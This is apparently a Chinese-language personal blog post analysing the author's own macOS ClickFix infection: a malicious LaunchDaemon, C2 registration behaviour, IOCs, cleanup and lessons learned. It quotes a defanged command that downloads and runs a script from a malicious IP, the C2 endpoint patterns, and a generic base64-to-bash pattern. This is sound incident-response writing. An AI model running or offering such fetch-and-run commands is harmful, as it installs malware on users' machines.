引言
好久没更新博客,一更新就是自己中招。
事情的起因是我让 Codex 帮我做了一次非侵入式安全检查,本来只是想看看 Mac 上有没有什么奇怪的后台、启动项、网络连接。结果在 /Library/LaunchDaemons/ 里翻出来一个非常不对劲的东西:
1 | /Library/LaunchDaemons/com.14622.plist |
名字就很不 Apple,也不像正常厂商的 bundle id。打开一看,是一段被塞进 plist 里的混淆 AppleScript,通过 osascript 跑起来,后面还连着 C2、远程命令、下载 socks payload 这一整套。
阴沟里翻船了属于是。平时看别人 ClickFix 中招,轮到自己也就一行复制粘贴的事。
本文是这次事件的复盘。样本和命令都会做去武器化处理,不放能直接复制执行的 payload。
结论先行
这次不是浏览器 0day,也不是 macOS 被远程打穿。最可信的入口是我自己在终端里执行了一条被 base64 包装过的命令。
zsh 历史里有完整记录:
1 | 2025-10-20 10:25:04 CST |
解码后实际执行的是:
1 | curl -s hxxp://185[.]93[.]89[.]62/d/xxx33312 | nohup bash & |
这个时间点和后续文件落地完全对齐:
| 时间 | 事件 |
|---|---|
| 2025-10-20 10:25:04 | 终端执行 base64 包装命令 |
| 2025-10-20 10:25:08 | 创建 ~/.chost、~/.username |
| 2025-10-20 10:25:14 | 创建 ~/.pwd |
| 2025-10-20 10:25:37 | 写入 /Library/LaunchDaemons/com.14622.plist |
| 2025-10-20 10:25:38 | 创建 ~/.botid,说明已向 C2 注册成功 |
| 2025-10-20 10:26:39 | 删除 nohup.out |
| 2025-10-23 21:55:04 | 创建 ~/.uninstalled,后门开始自停 |
也就是说,感染点基本可以锚定在 2025-10-20 10:25:04 这一条终端命令。
样本行为
com.14622.plist 是一个 root-owned LaunchDaemon,但是指定以我的用户运行:
1 | Label: com.14622 |
它真正执行的是一段混淆 AppleScript。逻辑拆开以后大概是:
- 读取
~/.chost,里面是 C2 地址:185[.]93[.]89[.]62 - 读取
~/.username,本机里是xxx - 如果
~/.botid不存在,就向 C2 注册:
1 | hxxp://185[.]93[.]89[.]62/api/v1/bot/joinsystem/<username>/<macOS version> |
- 注册成功后写入
~/.botid - 进入循环,每 60 秒请求动作:
1 | hxxp://185[.]93[.]89[.]62/api/v1/bot/actions/<botid> |
- 远端动作支持三类:
1 | repeat 拉远端脚本并交给 bash |
- 如果远端返回
uninstall,或者多次请求失败,就写~/.uninstalled,以后启动时直接退出。
比较关键的是,当前机器上没有发现 ~/.lastaction,也没有发现 /tmp/socks 残留。结合本地证据,我能确定它注册过机器,但没有足够证据证明它后续执行过远程命令或被拿去做代理。
当然,这只是“本机残留能证明的范围”。如果远端下发的命令自己清理痕迹,本机就不一定能完整还原。
IOC
本机发现的 IOC:
1 | /Library/LaunchDaemons/com.14622.plist |
网络 IOC:
1 | 185[.]93[.]89[.]62 |
公开情报里也能对上。URLhaus 上这个 host 从 2025 年 8 月开始就有 OdysseyStealer/ClickFix 相关记录,而且当前显示在线恶意 URL 为 0%。ThreatFox 也把相关 ASN 标到了恶意基础设施上下文里。
参考:
- https://urlhaus.abuse.ch/host/185.93.89.62/
- https://threatfox.abuse.ch/asn/213790/
- https://cyberpress.org/odyssey-macos-stealer/
我当时大概干了什么
本机 Chrome History 和 Quarantine 事件没有留下能直接指向具体网页的 URL,所以不能 100% 还原“哪个页面”。
但 zsh 历史能还原大概场景:
1 | 10:25:04 执行 base64 -d | bash |
这里有两个点:
第一,nohup.out 几乎可以确定是那条恶意命令跑出来的,因为 payload 本身就是 nohup bash &。我一分钟后手动删了它,说明当时我人在终端前面,可能看到多了一个输出文件,但没意识到刚才那条命令已经落地持久化。
第二,后面出现了 MuMuPlayer Pro 1.6.10 Crked | Digit77.com 这种明显高危上下文,还执行了 xattr -cr。这不一定就是感染源,因为恶意命令发生在它之前十分钟;但它说明当时大概率是在下载/安装某个破解器、破解版软件或者绕过 Gatekeeper 的东西。这个操作环境非常适合 ClickFix 页面投递:网页告诉你“复制命令到终端验证/安装/修复”,你一贴就结束了。
所以我的还原是:
我当时大概率遇到了一个假验证/假安装页面。页面给了一段 base64 包装的终端命令,我把它复制到 Terminal 里执行。命令拉取并运行了
185[.]93[.]89[.]62/d/xxx33312,随后 payload 写入 LaunchDaemon 完成持久化。
这就是 ClickFix 的可怕之处:它不需要漏洞,它利用的是“用户愿意帮它过最后一道执行门槛”。
为什么能写进 LaunchDaemon
/Library/LaunchDaemons/ 不是普通用户能随便写的地方。这里能写进去,说明当时至少发生过一种情况:
- payload 弹了伪系统密码框,骗到了管理员密码;
- payload 调用了需要管理员授权的脚本,我输入过密码;
- 当时终端里存在某种 sudo 授权窗口;
- 其他我现在无法从残留里证明的提权方式。
这次样本里还留了 ~/.pwd,创建时间是 10:25:14,在恶意命令执行后 10 秒出现。com.14622.plist 本身没有引用它,所以不能直接说它就是管理员密码,但它和整套文件同一时间生成,我会按敏感信息泄漏来处理。
清理过程
清理前先做了样本保全:
- 原始 plist
- 隐藏配置文件
- 文件时间戳
- SHA256
- launchd 状态
- 进程和网络快照
然后再清理持久化:
- 卸载
system/com.14622 - 删除
/Library/LaunchDaemons/com.14622.plist - 删除用户目录下的
.chost、.username、.botid、.lastaction、.uninstalled、.pwd - 检查
/tmp/socks、/private/tmp/socks、/var/tmp/socks - 复查进程、launchd、网络连接和常见持久化目录
- 触发 macOS 安全数据更新
最终复查结果:
1 | launchd 找不到 com.14622 |
C2 当前也直连不可达:80 端口超时,HTTP 根路径超时,ICMP 无响应。结合 URLhaus 的 offline 记录,这个投递点大概率已经下线或被封。
泄漏评估
能确定的是:
- 我的机器至少成功向 C2 注册过;
- 远端拿到了用户名标识、macOS 版本、来源 IP、bot id;
- 本机曾经具备执行远程动作的后门能力。
不能确定的是:
- 是否真的执行过
doshell; - 是否上传过文件;
- 是否读取过 Keychain、浏览器 Cookie、钱包扩展数据;
- 是否跑过额外 payload 后自清理。
因为没有 ~/.lastaction,没有 /tmp/socks,也没有保留 out.zip 之类的明显归档残留,所以本机证据不足以证明后续利用。但安全处置上不能按“没事”处理,尤其是浏览器会话、开发密钥、钱包扩展、SSH key、API token 这些。
教训
这次最有意思、也最丢人的地方是:它没有用什么高级漏洞。
它只是让我自己执行了:
1 | echo "<base64>" | base64 -d | bash |
我做安全研究,也知道 curl | bash 是高危操作;但在“装软件”“过验证”“临时搞一下”的上下文里,人会很容易把这条边界放低。
以后给自己立几条规矩:
- 网页让复制命令到终端,一律先当成恶意。
- 任何
base64 -d | bash、curl | bash,先解码保存到文件再看。 - 破解版、破解脚本、
xattr -cr这类上下文默认红色预警。 - 定期扫一遍
/Library/LaunchDaemons/、~/Library/LaunchAgents/。 launchctl print、lsof、ps auxww比“感觉没事”靠谱。- 个人电脑也要按工作机标准对待,尤其是存了研究材料和各种 token 的机器。
阴沟里翻船不可怕,可怕的是翻完还不知道自己怎么翻的。
这次至少把链路补上了:ClickFix 页面诱导复制命令,终端执行 payload,LaunchDaemon 持久化,C2 注册,几天后自停,半年后被翻出来。
记录一下,也算给长草的博客除个草。